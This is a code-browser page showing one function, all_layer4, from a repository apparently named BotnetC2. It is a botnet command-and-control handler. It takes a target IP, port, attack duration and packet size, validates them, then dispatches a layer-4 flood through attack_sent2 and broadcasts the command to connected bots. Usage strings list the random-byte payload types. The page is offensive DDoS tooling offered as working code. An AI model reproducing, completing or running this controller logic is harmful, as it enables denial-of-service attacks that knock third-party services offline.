MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / all_layer4

Function all_layer4

BOTNETc2_offline_user/api.py:77–102  ·  view source on GitHub ↗
(args,mode, validate_ip, validate_port, validate_time, validate_size, send, client, ansi_clear, attack_sent2, broadcast, data)

Source from the content-addressed store, hash-verified

75 send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME]')
76
77def all_layer4(args,mode, validate_ip, validate_port, validate_time, validate_size, send, client, ansi_clear, attack_sent2, broadcast, data):
78 if len(args) == 6:
79 ip = args[1]
80 port = args[2]
81 secs = args[3]
82 size = args[4]
83 if validate_ip(ip):
84 if validate_port(port):
85 if validate_time(secs):
86 if validate_size(size):
87 send(client, ansi_clear, False)
88 attack_sent2(ip, port, secs, size, client)
89 broadcast(data)
90 else:
91 send(client, Fore.RED + 'Invalid packet size (0-999999999999 bytes)')
92 else:
93 send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)')
94 else:
95 send(client, Fore.RED + 'Invalid port number (1-65535)')
96 else:
97 send(client, Fore.RED + 'Invalid IP-address')
98 else:
99 mode_type = mode.split('.')
100 mode_type = mode_type[1].lower()
101 send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME] [SIZE] [TYPE_BYTES]')
102 send(client, '[TYPE_BYTES] <-- URANDOM RANDBYTES OS_URANDOM OS_RANDBYTES PY_BOTNET')
103def http_req_all(args,mode, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
104 if len(args) == 4:
105 ip = args[1]

Callers 1

command_lineFunction · 0.70

Calls 7

validate_ipFunction · 0.70
validate_portFunction · 0.70
validate_timeFunction · 0.70
validate_sizeFunction · 0.70
sendFunction · 0.70
attack_sent2Function · 0.70
broadcastFunction · 0.70

Tested by

no test coverage detected